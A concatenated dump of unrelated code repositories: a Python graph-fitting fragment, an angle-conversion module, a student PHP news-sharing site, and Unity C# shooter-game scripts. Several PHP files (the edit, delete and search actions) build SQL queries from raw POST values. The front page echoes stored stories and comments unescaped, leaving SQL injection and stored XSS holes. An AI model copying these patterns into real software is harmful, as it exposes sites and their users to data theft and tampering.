G=nx.DiGraph()
f = open(instancia, "r")
nlfile = len(f.readlines())
print(nlfile)
f.close()
f = open(instancia, "r")
#nlfile=15000
#print(nlfile)
cont=0
tiempos=[]
#print(f)
for x in f:
#print(x)
var=sts.uniform.rvs()*10
if headder and cont ==0:
pass
else:
t=time.time()
x=list(map(float,x.split("\t")))
phi=sqrt(var+x[3]**2)
mu=math.log(x[3]**2/phi)
sigma=sqrt(math.log(phi**2/(x[3]**2)))
data = np.random.lognormal(mu,sigma, 100)
#plt.hist(data)
#plt.show()
tmin=min(data)
data=data-tmin
ph=get_PH_HE(data,nPhases)
G.add_edge(int(x[0]),int(x[1]),Cost=x[2],alpha=ph.alpha.tolist(),T=ph.T.tolist(),tmin=tmin)
tiempos.append(time.time()-t)
#print('promemdio fit: ', mean(tiempos))
if cont % 1000==0:
print("Voy en: ",cont)
print("Me he demorado en promedio: ",mean(tiempos))
print('pronostico restante: ', mean(tiempos)*(nlfile-cont))
cont+=1
os.chdir(r'C:\Users\<NAME> M\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\SPulseD\santosInstances\Santos')
file1 = open(instancia[:-4]+'_fit'+'.txt',"w")
for i,j in G.edges():
text=str(i)+";"+str(j)+";"+str(int(G[i][j]["Cost"]))+";"+str(G[i][j]["tmin"])+";"+str([list(map(lambda x: round(float(x),10),k))[0]for k in G[i][j]["alpha"]])+";"+str([list(map(lambda x: round(float(x),10),k))for k in G[i][j]["T"]])+'\n'
print(text)
file1.write(text)
file1.close()
nx.write_gpickle(G, r"C:\Users\<NAME>\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse\gpickle"+"\ "+instancia[:-4]+'.gpickle')
return(G)
|
161668d8c77b96f5fdb7ae590fc8f8619b09d969
|
[
"Java",
"Python"
] | 21 |
Java
|
DCorredorM/SaRP
|
c8ca8a593f2faaa05e473ab694d21566d97e33e8
|
73c32f03c6d1c5ec14304f6767c09e5f375cee73
|
refs/heads/main
|
<file_sep># -*- coding: utf-8 -*-
import math
def deg2grad(deg):
grad = (deg * 10) / 9
return grad
def grad2deg(grad):
deg = (grad * 9) / 10
return deg
def grad2rad(grad):
pi = math.pi
rad = (grad * pi) / 200
return rad
def rad2grad(rad):
pi = math.pi
grad = (rad * 200) / pi
return grad
# ======================== for 3
def decimal_deg2rad(decimal_deg):
pi = math.pi
rad = (decimal_deg * pi) / 180
return rad
def rad2decimal_deg(rad):
pi = math.pi
dec = (rad * 180) / pi
return dec
# ======================== for 4
def decimal_deg2dms_deg(decimal_deg):
mnt, sec = divmod(decimal_deg * 3600, 60)
deg, mnt = divmod(mnt, 60)
return deg, mnt, sec
def dms_deg2decimal_deg(dms_deg):
dd = float(dms_deg[0]) + float(dms_deg[1]) / 60 + float(dms_deg[2]) / 3600
return dd
# ======================== for 5
|
84f159192b69aeccc4bd10001ca3ea300a481adc
|
[
"Python"
] | 1 |
Python
|
Pepusiek/kod
|
42abcd6c0914bb02ef0da1fc8c7d860b841723b5
|
5d6f36630ef0470967b75ec03b7219a143ab07fd
|
refs/heads/master
|
<repo_name>StarredOuyang/NewsSharingWebsite<file_sep>/login.php
<!DOCTYPE html>
<head>
<meta charset="utf-8"/>
<link href="base.css" type="text/css" rel="stylesheet" /><!-- connect to css style sheet-->
<title>Login</title>
</head>
<body><div id="main">
<h1>Let us login</h1><br><br>
<form name="input" action="login.php" method="post">
<label for="logininput">User Name</label>
<input type="text" name="login" id="logininput"/>
<label for="loginpassinput">Password</label>
<input type="password" name="loginpass" id="loginpassinput"/>
<input name="submit" type="submit" value="Login"/><br>
<?php
//login action
include('login2.php');
?>
</form>
<br><br>
<input type="button" value="go back" name="go back" onclick="history.go(-1);">
</div></body>
</html><file_sep>/searchNewsAction.php
<!DOCTYPE html>
<head>
<meta charset="utf-8"/>
<link href="base.css" type="text/css" rel="stylesheet" />
<title>News Website</title>
<!--search news action-->
</head>
<body><div id="main">
<input type="button" value="go back" name="go back" onclick="history.go(-1);"><br>
<?php
require 'database.php';
if (!empty($_POST['keyWords'])){
$keyWord = $_POST['keyWords'];
}else{
$keyWord = uniqid();
}
//use query "like" to get the news info by keywords and display it
$stmt = $mysqli->prepare("select title, username, news, link from story where news like '%$keyWord%'");
if(!$stmt){
printf("Query Prep Failed: %s\n", $mysqli->error);
exit;
}
$stmt->execute();
$stmt->bind_result($title, $username, $searchedNews, $link);
while($stmt->fetch()){
if (empty($username)){
printf("no result");
}else{
printf("<fieldset>%s\n</br>",
htmlspecialchars($title));
printf("\t<li>%s</li>\n",
htmlspecialchars($searchedNews));
printf("</br>written by: ");
printf(htmlspecialchars($username));
echo "</br><a href=".$link.">".$link."</a></fieldset></br></br>";
}
}
$stmt->close();
exit;
?>
</div></body>
</html><file_sep>/editnews.php
<!DOCTYPE html>
<head>
<meta charset="utf-8"/>
<link href="base.css" type="text/css" rel="stylesheet" />
<title>Update news</title>
</head>
<body><div id="main">
<h1>Let us update your news</h1><br><br>
<?php
include("loginAction.php");
require 'database.php';
$token = $_POST['csrf'];
$csrf = $_SESSION['token'];
//check the csrf token for protection
if ($token == $csrf){
//select the news from table
$stmt = $mysqli->prepare("select title, news, link from story where newsID=?");
if(!$stmt){
printf("Query Prep Failed: %s\n", $mysqli->error);
exit;
}
$stmt->bind_param('i', $_POST['newsToEdit']);
$stmt->execute();
$stmt->bind_result($title, $news, $link);
while($stmt->fetch()){
//print the original news to a textarea and link in a textfield, users could edit them.
echo"<form name='input' action='editnews2.php' method='post'>
<label for='updatenewslinkinput'>News Title</label>
<textarea rows='1' name='updatenewstitle' id='updatenewstitleinput'>$title</textarea><br>
<textarea cols='40' rows='5' name='updatestory'>$news</textarea><br>
<input type='hidden' name='csrf' value=".$csrf.">
<label for='updatenewslinkinput'>News Link</label>
<input type='text' name='updatenewslink' id='updatenewslinkinput' value=".$link." ><br>
<input type=\"hidden\" name=\"newsToEdit\" readOnly=\"true\" value=".$_POST['newsToEdit']." >
<input type='submit' value='Update' />
</form>";
}
$stmt->close();
} else {
printf("##warning, you may use a fake page to enter our website##");
exit;
}
?>
</div></body>
</html>
<file_sep>/postComments.php
<?php
include("loginAction.php");
//check the user session value, if empty, display the warning
if (empty($_SESSION['login_user'])){
header("Location: postfailure.html");
}else{
$user = $_SESSION['login_user'];
$comment = $_POST['newcomments'];
$storykey = $_POST['storykey'];
$token = $_POST['csrf'];
$csrf = $_SESSION['token'];
//check the csrf token for protection
if ($token == $csrf){
require 'database.php';
//get the username, comment and storykey and insert into database
$stmt = $mysqli->prepare("insert into comments (username, newsID, comment) values (?, ?, ?)");
if(!$stmt){
printf("Query Prep Failed: %s\n", $mysqli->error);
exit;
}
$stmt->bind_param('sss', $user, $storykey, $comment);
$stmt->execute();
$stmt->close();
header("Refresh:0; url=frontpage.php");
exit;
} else {
printf("##warning, you may use a fake page to enter our website##");
exit;
}
}
?>
<file_sep>/editnewsAction.php
<?php
//edit news action
//update the records into story table with the new news
include("editnews.php");
$token = $_POST['csrf'];
$csrf = $_SESSION['token'];
//check the csrf token for protection
if ($token == $csrf){
if (empty($_POST['updatestory'])){
print("story should not be empty");
}
else if (empty($_POST['updatenewslink'])){
print("link should not be empty");
}else if (empty($_POST['updatenewstitle'])){
print("Title should not be empty");
}
else{
$title=$_POST['updatenewstitle'];
$story=$_POST['updatestory'];
$linky=$_POST['updatenewslink'];
$user=$_SESSION['login_user'];
$servername = "localhost";
$username = "wustl_inst";
$password = "<PASSWORD>";
$dbname = "newsweb";
//create the connection to our database
$conn = new mysqli($servername, $username, $password, $dbname);
//update the records
$sql = "update story set title='".$title."', news='".$story."', link='".$linky."' WHERE newsID='".$_POST['newsToEdit']."'";
if ($conn->query($sql) == TRUE) {
echo "successfully";
} else {
echo "Error: " . $conn->error;
}
$conn->close();
//redirect to usercenter page and refresh the page
header("Refresh:0; url=file.php");
}
} else {
printf("##warning, you may use a fake page to enter our website##");
exit;
}
?><file_sep>/loginAction.php
<?php
session_start();
$errormessage="";
//login action
if (isset($_POST['submit'])){
if (empty($_POST['login'])){
print("user name should not be empty");
}
else if (empty($_POST['loginpass'])){
print("password should not be empty");
}
else{
require 'database.php';
$name = trim($_POST['login']);
$name=htmlspecialchars($name);
$pass = trim($_POST['loginpass']);
$pass=htmlspecialchars($pass);
//check the password
$stmt = $mysqli->prepare("select password from users where username=?");
if(!$stmt){
printf("Query Prep Failed: %s\n", $mysqli->error);
exit;
}
$stmt->bind_param('s', $name);
$stmt->execute();
$stmt->bind_result($passdatabase);
$stmt->fetch();
if(password_verify($pass, $passdatabase)){
$_SESSION['login_user']=$name;
//generate a unique id(csrf token) every time users log in
$_SESSION['token']= base64_encode(openssl_random_pseudo_bytes(64));
header("Location: file.php");
exit;
//Successful login
}else{
Printf("Wrong password or username dude!");
//Failure to login
}
}
}
?><file_sep>/editcom.php
<!DOCTYPE html>
<head>
<meta charset="utf-8"/>
<link href="base.css" type="text/css" rel="stylesheet" />
<title>Update news</title>
</head>
<body><div id="main">
<h1>Let us update your comment</h1><br><br>
<?php
include("loginAction.php");
require 'database.php';
$token = $_POST['csrf'];
$csrf = $_SESSION['token'];
//check the csrf token for protection
if ($token == $csrf){
//select the comments from table
$stmt = $mysqli->prepare("select comment from comments where commentsID=?");
if(!$stmt){
printf("Query Prep Failed: %s\n", $mysqli->error);
exit;
}
$stmt->bind_param('s', $_POST['comToEdit']);
$stmt->execute();
$stmt->bind_result($comment);
while($stmt->fetch()){
//print the original comments to a textfirld, users could edit it.
echo"<form name='input' action='editcom2.php' method='post'>
<textarea cols='40' rows='5' name='updatecom'>$comment</textarea><br>
<input type='hidden' name='csrf' value=".$csrf.">
<input type=\"hidden\" name=\"comToEdit\" readOnly=\"true\" value=".$_POST['comToEdit']." >
<input type='submit' value='Update' />
</form>";
}
$stmt->close();
} else {
printf("##warning, you may use a fake page to enter our website##");
exit;
}
?>
</div></body>
</html>
<file_sep>/file.php
<!DOCTYPE html>
<head>
<meta charset="utf-8"/>
<link href="base.css" type="text/css" rel="stylesheet" />
<title>News Website</title>
<!--this is the user center page-->
<!--Users can write their story and link here. They also could see a list of their own story and comments. They can delete and edit them by pressing the corresponding buttons.-->
</head>
<body><div id="main">
<h1>user center</h1><br><br>
<form name="input" action="logout.php" method="get">
<input type="submit" value="Log out" />
</form><br>
<form name="input" action="postnews.php" method="post">
<label for="newslinkinput">News Title</label>
<textarea rows='1' name="newstitle" id="newstitleinput"/></textarea><br>
<textarea cols="40" rows="5" name="newstory">
write your story here</textarea><br>
<label for="newslinkinput">News Link</label>
<input type="text" name="newslink" id="newslinkinput"/><br>
<?php
include("loginAction.php");
$csrf = $_SESSION['token'];
echo "<input type='hidden' name='csrf' value=".$csrf.">";
?>
<input type="submit" value="Post" />
</form>
<br><br>
<input type="button" value="check out other's news and make comments" name="go back" onclick="location='frontpage.php'"/>
<br>
<?php
$user = $_SESSION['login_user'];
$csrf = $_SESSION['token'];
echo $user;
echo '<br>';
echo 'All your news are below:<br>';
require 'database.php';
$stmt = $mysqli->prepare("select title, news, link, newsID from story where username=?");
if(!$stmt){
printf("Query Prep Failed: %s\n", $mysqli->error);
exit;
}
$stmt->bind_param('s', $user);
$stmt->execute();
$stmt->bind_result($title, $news, $link, $newsID);
while($stmt->fetch()){
//display every news, links and two function buttons
printf("<fieldset>%s\n</br>",
htmlspecialchars($title));
printf("\t<li>%s</li>\n",
htmlspecialchars($news));
echo "<a href=".$link.">".$link."</a></br>";
echo "<br><form method=\"post\" name=\"deleteSomething\" action=\"Deletenews.php\" >
<input type=\"hidden\" name=\"newsToDelete\" readOnly=\"true\" value=".$newsID." >
<input type='hidden' name='csrf' value=".$csrf.">
<input type=\"submit\" value=\"Delete\">
</form>";
echo "<form method=\"post\" name=\"editSomething\" action=\"editnews.php\" >
<input type=\"hidden\" name=\"newsToEdit\" readOnly=\"true\" value=".$newsID." >
<input type='hidden' name='csrf' value=".$csrf.">
<input type=\"submit\" value=\"Edit\">
</form></fieldset>";
}
echo "</ul>\n";
$stmt->close();
//display the user's comments
echo '<br>All your comments are below:<br>';
$stmt = $mysqli->prepare("select comment, commentsID from comments where username=?");
if(!$stmt){
printf("Query Prep Failed: %s\n", $mysqli->error);
exit;
}
$stmt->bind_param('s', $user);
$stmt->execute();
$stmt->bind_result($comment, $commentsID);
while($stmt->fetch()){
//display every comments and two function buttons
printf("<fieldset>");
printf(htmlspecialchars($comment));
echo "<br><form method=\"post\" name=\"deletecomment\" action=\"Deletecom.php\" >
<input type=\"hidden\" name=\"comToDelete\" readOnly=\"true\" value=".$commentsID." >
<input type='hidden' name='csrf' value=".$csrf.">
<input type=\"submit\" value=\"Delete\">
</form>";
echo "<form method=\"post\" name=\"editcomment\" action=\"editcom.php\" >
<input type=\"hidden\" name=\"comToEdit\" readOnly=\"true\" value=".$commentsID." >
<input type='hidden' name='csrf' value=".$csrf.">
<input type=\"submit\" value=\"Edit\">
</form></fieldset>";
}
$stmt->close();
?>
</div></body>
</html>
<file_sep>/Deletenews.php
<?php
include("loginAction.php");
$servername = "localhost";
$username = "wustl_inst";
$password = "<PASSWORD>";
$dbname = "newsweb";
$token = $_POST['csrf'];
$csrf = $_SESSION['token'];
//check the csrf token for protection
if ($token == $csrf){
//set the connection to our database
$connection = new mysqli($servername, $username, $password, $dbname);
//delete the comments first where associate with their newsID
$sqlcomment = 'DELETE FROM comments WHERE newsID= '.$_POST['newsToDelete'].'';
if ($connection->query($sqlcomment) == TRUE) {
echo "successfully";
} else {
echo "Error: " . $connection->error;
}
// then delete the news by matching the newsID
$sqlstory = 'DELETE FROM story WHERE newsID= '.$_POST['newsToDelete'].'';
if ($connection->query($sqlstory) == TRUE) {
echo "Record deleted successfully";
} else {
echo "Error: " . $connection->error;
}
$connection->close();
//redirect to usercenter page and refresh
header("Refresh:0; url=file.php");
} else {
printf("##warning, you may use a fake page to enter our website##");
exit;
}
?>
<file_sep>/postnews.php
<?php
//don't allow empty of three type of inputs
if (empty($_POST['newstory'])){
header("Location: newsEmpty.html");
}
else if (empty($_POST['newslink'])){
header("Location: linkEmpty.html");
}else if (empty($_POST['newstitle'])){
header("Location: titleEmpty.html");
}
else{
$title=$_POST['newstitle'];
$story=$_POST['newstory'];
$link=$_POST['newslink'];
require 'database.php';
include("login2.php");
$user=$_SESSION['login_user'];
$token = $_POST['csrf'];
$csrf = $_SESSION['token'];
//check the csrf token for protection
if ($token == $csrf){
//get the username, news and link and insert into database
$stmt = $mysqli->prepare("insert into story (title, username, news, link) values (?, ?, ?, ?)");
if(!$stmt){
printf("Query Prep Failed: %s\n", $mysqli->error);
exit;
}
$stmt->bind_param('ssss', $title, $user, $story, $link);
$stmt->execute();
$stmt->close();
header("Location: postSuccess.html");
exit;
} else {
printf("##warning, you may use a fake page to enter our website##");
exit;
}
}
?><file_sep>/README.md
# README #
### Home page link: ###
http://ec2-54-210-231-151.compute-1.amazonaws.com/~couyang/Module3/index.html
### Group member: ###
<NAME>(445245)
<NAME>(451184)
### Note ###
We use several accounts to test our website functions, the usernames are: **eric, zhili, bachman, testee.**
All their passwords are **<PASSWORD>**.
Login users could click the "go to backpage" button on News board page to enter their user center page.
For non-login users, click this button will redirect to a warning page.
For non-login users, click post comment button will redirect to a warning page.
### Creative portion: ###
Our creative partion is a news search function. Any users(login or non-login) could click the news search button on the news board page. We will find the news that contain the particular keywords and display all of them as well as their author and link. If there are no match in our database, nothing will be print out. Users could go back and search again.<file_sep>/logout.php
<?php
//destroy the session and log out
session_start();
session_unset();
session_destroy();
header("location:index.html");
exit();
?><file_sep>/editcomAction.php
<?php
//editcomment action
//update the records into comments table with the new comments
include("editcom.php");
$token = $_POST['csrf'];
$csrf = $_SESSION['token'];
//check the csrf token for protection
if ($token == $csrf){
if (empty($_POST['updatecom'])){
print("comment should not be empty");
}
else{
$com=$_POST['updatecom'];
$user=$_SESSION['login_user'];
$servername = "localhost";
$username = "wustl_inst";
$password = "<PASSWORD>";
$dbname = "newsweb";
//create the connection to our database
$conn = new mysqli($servername, $username, $password, $dbname);
//update the records
$sql = "update comments set comment='".$com."' WHERE commentsID='".$_POST['comToEdit']."'";
if ($conn->query($sql) == TRUE) {
echo "successfully";
} else {
echo "Error editing record: " . $conn->error;
}
$conn->close();
//redirect to usercenter page and refresh the page
header("Refresh:0; url=file.php");
}
} else {
printf("##warning, you may use a fake page to enter our website##");
exit;
}
?><file_sep>/register.php
<!DOCTYPE html>
<head>
<meta charset="utf-8"/>
<link href="base.css" type="text/css" rel="stylesheet" />
<title>Register</title>
<!--users register through this page-->
</head>
<body><div id="main">
<h1>Enter your information</h1><br><br>
<form name="input" action="register.php" method="post">
<label for="usernameinput">User Name</label>
<input type="text" name="username" id="usernameinput"/>
<label for="passinput">Password</label>
<input type="<PASSWORD>" name="password" id="passinput"/>
<input name="submit" type="submit" value="Register"/><br>
<?php
include('registerAction.php');
?>
</form>
<br><br>
<input type="button" value="go back" name="go back" onclick="history.go(-1);">
</div></body>
</html>
<file_sep>/gotoBackpage.php
<?php
include("loginAction.php");
//check the user login information. If the session is empty, we will display the failure information
//otherwise, go back to user center page
if (empty($_SESSION['login_user'])){
header("Location: postfailure.html");
}else{
header("Location: file.php");
}
?>
<file_sep>/frontpage.php
<!DOCTYPE html>
<head>
<meta charset="utf-8"/>
<link href="base.css" type="text/css" rel="stylesheet" />
<title>News Website</title>
<!--main story page-->
<!--This page will display all the stories and their comments. Login user could write comments under every stories. Non login user only can watch them.-->
</head>
<body><div id="main">
<h1>News Board</h1><br><br>
<input type='button' value='go to backpage' name='gotoBackpage' onclick="window.location.href='gotoBackpage.php';"/><br>
<!--creative part, a button on frontpage that allow everyone click it to search news by keywords-->
<input type='button' value='Search News' name='searchNews' onclick="window.location.href='searchNews.php';"/><br>
<form name="input" action="logout.php" method="get">
<input type="submit" value="exit" />
</form><br>
<?php
include("loginAction.php");
$host = 'mysql:host=localhost; dbname=newsweb';
$database = new PDO($host, 'wustl_inst', 'wustl_pass');
$storyInfo = $database->query('select * from story');
if (!empty($_SESSION['token'])){
$csrf = $_SESSION['token'];
}else{
$csrf="";
}
//display one story and its comments in one section
while($row=$storyInfo->fetch()){
echo "<fieldset><legend>author:".$row['username']."</legend>";
echo "Title: ".$row['title']."</br>";
echo "News: ".$row['news']."</br></br>";
echo "<a href=".$row['link'].">".$row['link']."</a></br></br></br>";
$comment = $database->query('select * from comments where newsID='.$row['newsID'].'');
while($c=$comment->fetch()){
echo "<fieldset>comment: ".$c['comment']."</br>";
echo "commented by:".$c['username']."</fieldset></br>";
}
//post button, only works for login users
echo "<form name='input' action='postComments.php' method='post'><input type='text' name='newcomments' value='enter your comments here' size='100' id='newcomments'/></br>
<input type='hidden' name='storykey' size='1' readOnly='true' value=".$row['newsID']."></br>
<input type='hidden' name='csrf' value=".$csrf.">
<input type='submit' value='post your comments' name='comments'/></form></fieldset></br></br>";
}
?>
</div></body>
</html>
<file_sep>/Deletecom.php
<?php
include("loginAction.php");
//set the connection to our database
$servername = "localhost";
$username = "wustl_inst";
$password = "<PASSWORD>";
$databasename = "newsweb";
$token = $_POST['csrf'];
$csrf = $_SESSION['token'];
//check the csrf token for protection
if ($token == $csrf){
$connection = new mysqli($servername, $username, $password, $databasename);
//delete the records where match the commentsID
$sql = "DELETE FROM comments WHERE commentsID= '".$_POST['comToDelete']."'";
if ($connection->query($sql) == TRUE) {
echo "successfully";
} else {
echo "There's a error" . $connection->error;
}
$connection->close();
//redirect to usercenter page and refresh
header("Refresh:0; url=file.php");
} else {
printf("##warning, you may use a fake page to enter our website##");
exit;
}
?>
<file_sep>/registerAction.php
<?php
session_start();
$errormessage="";
//register action
if (isset($_POST['submit'])){
if (empty($_POST['username'])){
print("user name should not be empty");
}
else if (empty($_POST['password'])){
print("password should not be empty");
}
else{
$name = trim($_POST['username']);
$name=htmlspecialchars($name);
$pass = trim($_POST['password']);
$pass=htmlspecialchars($pass);
//hash the password and store them into our user table
$password=password_hash($pass, PASSWORD_DEFAULT);
require 'database.php';
$stmt = $mysqli->prepare("insert into users (username, password) values (?, ?)");
if(!$stmt){
printf("Query Prep Failed: %s\n", $mysqli->error);
exit;
}
$stmt->bind_param('ss', $name, $password);
$stmt->execute();
$stmt->close();
header("Location: login.php");
exit;
}
}
?>
|
ae6cc03a984dd24de597ed4e140c172099206bce
|
[
"Markdown",
"PHP"
] | 18 |
PHP
|
StarredOuyang/NewsSharingWebsite
|
8e168f1d50576ff0a07b1bea11c89dec86bcf975
|
2775d389f3aa75f5675578cd0ae1e82777b10ea1
|
refs/heads/master
|
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerRotation : MonoBehaviour
{
void Update()
{
if (!GameController.instance.GameOver)
{
RotateWithMouse();
}
}
//rotate player com a posição do mouse
private void RotateWithMouse()
{
Vector3 mouseScreenPosition = Camera.main.ScreenToWorldPoint(Input.mousePosition);
float AngleRad = Mathf.Atan2(mouseScreenPosition.y - this.transform.position.y, mouseScreenPosition.x - this.transform.position.x);
float AngleDeg = (180 / Mathf.PI) * AngleRad;
if (AngleDeg >= 0)
{
this.transform.rotation = Quaternion.Euler(0, 0, AngleDeg);
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class EnemySpawn : MonoBehaviour
{
[Header ("Scriptable Waypoints List")]
[SerializeField] List<WaypointsList> waypointsList;
[SerializeField] int startingWave = 0;
WaypointsList currentWave;
// Start is called before the first frame update
void Start()
{
StartCoroutine(SpawnAllWaves());
}
IEnumerator SpawnAllWaves()
{
//checa qual a wave que começa e inicia a coroutine de spawn de todos os inimigos
for (int waveIndex = startingWave; waveIndex < waypointsList.Count; waveIndex++)
{
currentWave = waypointsList[waveIndex];
//if (!GameController.instance.GameOver)
{
yield return StartCoroutine(SpawnAllEnemiesInWave(currentWave));
}
}
}
private IEnumerator SpawnAllEnemiesInWave(WaypointsList waypointsLists)
{
//instancia cada inimigo de uma vez indicado no scriptable object e informa qual waypoint deve seguir
for (int enemyNumber = 1; enemyNumber <= waypointsLists.GetEnemyNumber(); enemyNumber++)
{
var newEnemy = Instantiate(waypointsLists.GetEnemyPrefab(), waypointsLists.GetWaypoints()[0].transform.position, Quaternion.identity);
newEnemy.GetComponent<EnemyPath>().SetWaveConfig(waypointsLists);
yield return new WaitForSeconds(waypointsLists.GetTimeBetweenSpawn() + waypointsLists.GetSpawnRandomFactor());
}
yield return new WaitForSeconds(waypointsLists.GetTimeNextWave());
RepeatWave();
}
//checa a ultima wave da lista para repetir a lista
void RepeatWave()
{
int lastWave = waypointsList.Count;
print(lastWave);
if (currentWave == waypointsList[lastWave - 1])
{
lastWave = 0;
currentWave = waypointsList[0];
if (!GameController.instance.GameOver)
{
StartCoroutine(SpawnAllWaves());
}
}
}
}<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class BulletScript : MonoBehaviour
{
[Header ("Bullet Damage")]
[SerializeField] float damage;
[Header ("Damage Effects")]
[SerializeField] List<GameObject> damageFx;
private void OnTriggerEnter2D(Collider2D collision)
{
if (collision.gameObject.CompareTag("Wall"))
{
Destroy(gameObject);
}
if (collision.gameObject.CompareTag("Enemy"))
{
//randomizar o valor para instanciar o damageFx - remove o parent e muda sua escala para destruir
int randomIndex = Random.Range(0, damageFx.Count - 1);
GameObject damageFxClone = Instantiate(damageFx[randomIndex], this.transform);
damageFxClone.transform.SetParent(null);
damageFxClone.transform.localScale = new Vector3(0.5f, 0.5f, 0.5f);
Destroy(damageFxClone, 0.3f);
//checa se o inimigo tem o script HPScript para diminuir hp e depois destruir
HpScript hpScript = collision.gameObject.GetComponent<HpScript>();
if (hpScript)
{
hpScript.RemoveHp(damage);
}
Destroy(gameObject);
}
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class EnemyPath : MonoBehaviour
{
[Header("Scriptable Object")]
[SerializeField] WaypointsList waypointScriptableObject;
List<Transform> waypoints;
int waypointIndex = 0;
void Start()
{
//pega o waypoint do scriptable object e coloca o objeto no transform da lista
waypoints = waypointScriptableObject.GetWaypoints();
transform.position = waypoints[waypointIndex].position;
}
void Update()
{
Move();
}
//coloca a configuração da wave com o waypoint
public void SetWaveConfig(WaypointsList waveConfig)
{
this.waypointScriptableObject = waveConfig;
}
private void Move()
{
//compara o index do waypoint com o total da lista
if (waypointIndex < waypoints.Count)
{
//seta a posição do proximo waypoint e salva a velocidade de movimento
var targetPosition = waypoints[waypointIndex].position;
var movementThisFrame = waypointScriptableObject.GetMoveSpeed() * Time.deltaTime;
//rotaciona o objeto em relação ao proximo waypoint
Vector3 diff = targetPosition - transform.position;
diff.Normalize();
float rot_z = Mathf.Atan2(diff.y, diff.x) * Mathf.Rad2Deg;
transform.rotation = Quaternion.Euler(0f, 0f, rot_z);
//movimenta o objeto
transform.position = Vector2.MoveTowards(this.transform.position, targetPosition, movementThisFrame);
//ao chegar no local, passa para o proximo waypoint
if (transform.position == targetPosition)
{
waypointIndex++;
}
}
//destroi ao chegar no ultimo waypoint
else
{
Destroy(gameObject);
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class HpSliderScript : MonoBehaviour
{
[SerializeField] Slider hpSlider;
HpScript hpScript;
// Start is called before the first frame update
void Start()
{
hpScript = GetComponent<HpScript>();
hpSlider.minValue = 0;
hpSlider.maxValue = hpScript.Hp;
}
// Update is called once per frame
void Update()
{
hpSlider.value = hpScript.Hp;
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class EnemyScript : MonoBehaviour
{
[Header ("Enemy Parameters")]
[SerializeField] float damage;
[SerializeField] float enemyPoints;
[Header ("Death Animation")]
[SerializeField] GameObject deadAnimation;
public float Damage { get { return damage; } }
public float EnemyPoints { get { return enemyPoints; } }
public GameObject DeadAnim { get { return deadAnimation; } }
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerHealthTrigger : MonoBehaviour
{
//quando inimigo passa do local, checa se chegou e o player leva dano
HpScript playerHp;
void Start()
{
playerHp = GameObject.FindGameObjectWithTag("Player").GetComponent<HpScript>();
}
void OnTriggerEnter2D(Collider2D collision)
{
if (collision.gameObject.CompareTag("Enemy"))
{
float enemyDamage = collision.gameObject.GetComponent<EnemyScript>().Damage;
playerHp.RemoveHp(enemyDamage);
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class HpScript : MonoBehaviour
{
[SerializeField] float hp;
[Header ("Hurt Sounds")]
[SerializeField] List<AudioClip> hitSounds;
[Header("Death Sounds")]
[SerializeField] List<AudioClip> deathSounds;
EnemyScript enemyScript;
SpriteRenderer spriteRenderer;
Material whiteMat;
Material defaultMaterial;
// Start is called before the first frame update
void Start()
{
if (CompareTag("Enemy"))
enemyScript = GetComponent<EnemyScript>();
spriteRenderer = this.gameObject.GetComponent<SpriteRenderer>();
whiteMat = Resources.Load(("WhiteFlash"), typeof(Material)) as Material;
defaultMaterial = spriteRenderer.material;
}
public void RemoveHp(float damage)
{
hp -= damage;
if(!GameController.instance.GameOver)
spriteRenderer.material = whiteMat;
PlayerHp();
EnemyHp();
}
public void AddHP(float value)
{
hp += value;
}
void ResetMaterial()
{
spriteRenderer.material = defaultMaterial;
}
void PlayerHp()
{
if (this.CompareTag("Player"))
{
if (hp <= 0)
{
GameController.instance.IsGameOver(true);
Invoke("ResetMaterial", 0.1f);
}
else
{
Invoke("ResetMaterial", 0.1f);
}
}
}
void EnemyHp()
{
if (this.CompareTag("Enemy"))
{
if (hp <= 0)
{
GameObject enemyDeadAnim = Instantiate(enemyScript.DeadAnim, this.transform);
enemyDeadAnim.transform.SetParent(null);
enemyDeadAnim.transform.localScale = new Vector3(2, 2, 2);
Destroy(enemyDeadAnim, 0.5f);
PlaySound(deathSounds);
GameController.instance.AddPoints(enemyScript.EnemyPoints);
Destroy(gameObject);
}
else
{
PlaySound(hitSounds);
}
}
}
void PlaySound(List<AudioClip> audioList)
{
int randomHitIndex = Random.Range(0, audioList.Count - 1);
AudioSource.PlayClipAtPoint(audioList[randomHitIndex], this.transform.position);
Invoke("ResetMaterial", 0.1f);
}
public float Hp { get { return hp; } set { hp = value; } }
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
[CreateAssetMenu(menuName = "WayPointList")]
public class WaypointsList : ScriptableObject
{
[Header ("Enemy Parameters")]
[SerializeField] GameObject enemyPrefab;
[SerializeField] int enemyNumber = 1;
[SerializeField] float moveSpeed;
[Header ("Waypoints Prefab")]
[SerializeField] GameObject pathPrefab;
[Header("Wave Parameters")]
[SerializeField] float timeToNextWave;
[SerializeField] float timeBetweenSpawn;
[SerializeField] float spawnRandomFactor;
// Start is called before the first frame update
public GameObject GetEnemyPrefab() { return enemyPrefab; }
public List<Transform> GetWaypoints()
{
var waveWaypoints = new List<Transform>();
foreach (Transform child in pathPrefab.transform)
{
waveWaypoints.Add(child);
}
return waveWaypoints;
}
public float GetTimeBetweenSpawn() { return timeBetweenSpawn; }
public float GetSpawnRandomFactor()
{
spawnRandomFactor = Random.Range(spawnRandomFactor * (-1), spawnRandomFactor);
return spawnRandomFactor;
}
public int GetEnemyNumber() { return enemyNumber; }
public float GetMoveSpeed() { return moveSpeed; }
public float GetTimeNextWave() { return timeToNextWave; }
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class ShootBullet : MonoBehaviour
{
[Header ("Bullet Parameters")]
[SerializeField] float bulletSpeed;
[SerializeField] GameObject bullet;
[SerializeField] Transform bulletSpawn;
[Header("Shoot Parameters")]
[SerializeField] float shootTimer;
[SerializeField] int maxBullet;
[SerializeField] AudioClip shootSound;
